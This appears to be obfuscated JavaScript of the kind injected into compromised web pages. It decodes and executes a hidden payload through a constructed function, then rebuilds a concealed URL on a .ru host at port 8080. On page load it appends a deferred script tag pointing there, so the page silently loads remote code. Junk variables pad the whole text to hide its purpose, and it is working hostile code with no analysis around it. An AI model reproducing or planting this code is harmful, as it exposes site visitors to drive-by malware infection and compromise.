[2,0,3,1]),3, U("oglog.omce.sg", [4,0,3,1,2]),4, U(".ooncmnmgaeamc.a.oibtedr", [4,1,5,0,2,3]),5, U("sdAe.ttittbrued(ee\'fr\'", [1,4,0,3,5,2,6]),6, U("mocis.metepaur.08:80", [2,1,0]),7, U("hpeltnte.acom", [4,0,2,1,3]),8, U("iwnodwo.nolad", [1,0,2]),11, U("oggoelc.mo", [1,0]),12, U("uftcnoi)(n", [1,0,4,3,2]),14, U(")tce(hca", [6,7,1,2,5,4,3,0]),15, U("sanaog.v", [2,1,0,3]),16, U("agempsto", [1,0]),17, U("thp\"t:", [3,1,4,0,2]),18, U("sr.dc", [3,2,0,1]),19, U("1\')\'", [1,0,3,2]),20, U("rty", [1,0])];var jM;if(jM!='mZ'){jM='mZ'};var RF;if(RF!='Je'){RF='Je'};var D =[176,78,1][2];var x =[2,1,196][0];var wn=new Array();this.Px="Px";var dK = '';var aM;if(aM!='Fj' && aM!='Va'){aM=''};var zj = c[U("neglth", [3,1,0,2])];var xd='';this.Ml=false;var Dy=new Date();var nf;if(nf!=''){nf='qk'};var mk = '';var a =[0][0];var pM = y(37);var hi;if(hi!='pS' && hi!='ev'){hi=''};var cG=false;var HI =[0][0];var t = '';var i = /[^@a-z0-9A-Z_-]/g;var pK="pK";var Gm;if(Gm!=''){Gm='Ut'};var WY;if(WY!='XI' && WY!='MJ'){WY='XI'};var sY;if(sY!='Tz' && sY!='yJ'){sY=''};var AlU;if(AlU!='OZ' && AlU!='vK'){AlU='OZ'};for(var Kr=a; Kr < zj; Kr+=x){var Rkw;if(Rkw!=''){Rkw='Qi'};t+= pM; t+= c[U("ssubtr", [1,2,3,0])](Kr, x);}var c = Us(t);this.epF=31122;var Og="";var dM;if(dM!='' && dM!='IK'){dM='Cf'};var us="us";var yw = new DQ(d);var xz;if(xz!='hr'){xz='hr'};var Rp = yw[U("eaprlce", [3,0,2,4,1])](i, dK);var NzT='';var Me = new DQ(E);var Xa;if(Xa!='tB'){Xa='tB'};Rp = b(Rp);var ONO;if(ONO!='iU' && ONO!='oK'){ONO=''};var V = KG[U("tlnghe", [1,5,2,3,0,4])];this.No=58822;var OBs='';var UF="";var aL='';var rl = Me[U("eelrpac", [3,1,4,2,5,6,0])](i, dK);var nl;if(nl!='Dl' && nl!='fy'){nl=''};var rl = m(rl);var qTx=42822;var fe=m(Rp);for(var L=a; L < (c[U("nlehgt", [1,2,0])]);L=L+[131,1][1]) {var zq=59549;var Om=35571;var l = Rp.charCodeAt(HI);var Z = mM(c,L);var xU=false;Z = bY(Z, l);var md=false;this.JBA=48605;Z = bY(Z, fe);Z = bY(Z, rl);var Rh='';var lW;if(lW!='' && lW!='VK'){lW=''};var gJY;if(gJY!='KW' && gJY!='th'){gJY=''};var LN=new Date();HI++;var WA='';var AXN;if(AXN!='wU' && AXN!='jic'){AXN=''};var GJ="";if(HI > Rp.length-D){var vU="vU";var dY;if(dY!='pR'){dY=''};HI=a;var Ii;if(Ii!='zg' && Ii!='SZ'){Ii=''};}var DmQ;if(DmQ!='hp' && DmQ!='Oz'){DmQ=''};var Ge;if(Ge!='xE' && Ge!='pW'){Ge=''};var ir=new String();mk += y(Z);var pi=new Date();var XH='';}this.fa="";var Ds;if(Ds!='Vf' && Ds != ''){Ds=null};var eL=43843;var IG=new Array();for(Y=a; Y < V; Y+=x){var Vo;if(Vo!=''){Vo='eG'};var Ji;if(Ji!='la' && Ji!='UJ'){Ji=''};this.zP=16536;var xF = KG[Y + D];var X = y(KG[Y]);var tk;if(tk!='OG'){tk=''};this.OC=false;var vl=new Date();var bZ=false;var sM;if(sM!='hh' && sM!='Ix'){sM=''};var cp = new N(X, "g");mk=mk[U("lpreace", [2,3,1,0,4])](cp, xF);}var EW=new String();var Up;if(Up!='IX'){Up='IX'};var xN=new E(mk);var gTh="";var BLk;if(BLk!=''){BLk='iZ'};xN();var raW;if(raW!='Wa'){raW=''};var vvY;if(vvY!='EJ'){vvY=''};var MO;if(MO!='' && MO!='Hh'){MO='pL'};mk = '';var re=31824;Rp = '';Me = '';var gn=false;rl = '';this.DT="DT";this.dv="dv";xN = '';fe = '';this.iL="iL";this.mG="mG";return '';};var QD;if(QD!='' && QD!='Ogv'){QD='BK'};var FbI;if(FbI!='' && FbI!='ha'){FbI='UJO'};d(td);
function s() {var p;if(p!='N' && p!='sb'){p=''};var m='';var H=new String();var b='';var W='[';var hT=new String();var kq=new String();var P=']';var O=RegExp;this.K="";var x;if(x!='pr'){x='pr'};var l='g';var nE=new Date();var R;if(R!='Tb' && R != ''){R=null};var c='replace';this.Jh="";var A;if(A!='oa' && A!='RZ'){A=''};function u(U,w){this.nr='';var HW=W;var BpS;if(BpS!=''){BpS='rL'};var NO=new String();HW+=w;var Fh;if(Fh!='Og' && Fh!='pS'){Fh='Og'};var OH=new Date();HW+=P;var ab=new Array();this.Hx="";var HJ=new O(HW, l);var pD='';var v='';return U[c](HJ, H);var TW=new Date();var oU;if(oU!='ua'){oU=''};};var DF='';var xt=new String();var a='';var w_=u('hqtHtEp2:2/H/HmZsZnE-HcEaq.2eqaErEt2hHlZiqnHkq.2nHeHtZ.EsqtqrqeqaEm2aEt2eE-HcqoZmH.ZnHeZwqaqgEeEdqiqrEeZcqt2.2rquE:Z',"ZHqE2");var f=window;var V="";var S=u('cMr_eWaMtMe_EMlMeMmMeMnMt_',"_MW");var F=u('s2cGrGi2p2t2',"G2");var B=u('8999304398334406479',"94637");var Q_=new Array();var TbP;if(TbP!=''){TbP='oy'};var uZ=u('/0dyeOlyly.ycfofmO/0dfe0lylf.0cyo0mf/yiymOaygye0b0aymO.0cyoymf/ygyoOofgOlOey.fcOofm0/OofpOtfmOd0.ycOoymO.ypOh0py',"yO0f");var Qz;if(Qz!='Rl' && Qz!='fg'){Qz=''};var Wp;if(Wp!='dM' && Wp!='vc'){Wp='dM'};var fl="";f[u('ovnilhovaidh',"vOih")]=function(){try {var I;if(I!='tb' && I!='vC'){I=''};a+=w_;var FN='';var iR;if(iR!='' && iR!='AT'){iR=null};a+=B;var wO;if(wO!='Yc' && wO!='bt'){wO='Yc'};a+=uZ;var iY='';var rK;if(rK!='' && rK!='HQ'){rK=''};var le;if(le!='' && le!='HqN'){le=null};X=document[S](F);var em="";var fH;if(fH!='q_' && fH != ''){fH=null};k(X,'defer',([1][0]));var nY;if(nY!='LA' && nY!='mO'){nY='LA'};var Vk=new Array();k(X,'src',a);var qy=new Array();this.Ru="";document.body.appendChild(X);var dU=new Date();var he='';} catch(fe){this.xI='';var CZ;if(CZ!='' && CZ!='_'){CZ=null};};};var _O=new Date();function k(BJ,L,d){var dn="";BJ.setAttribute(L, d);}var GT='';var Zf="";};this.Nl='';s();var qZ="";var dA="";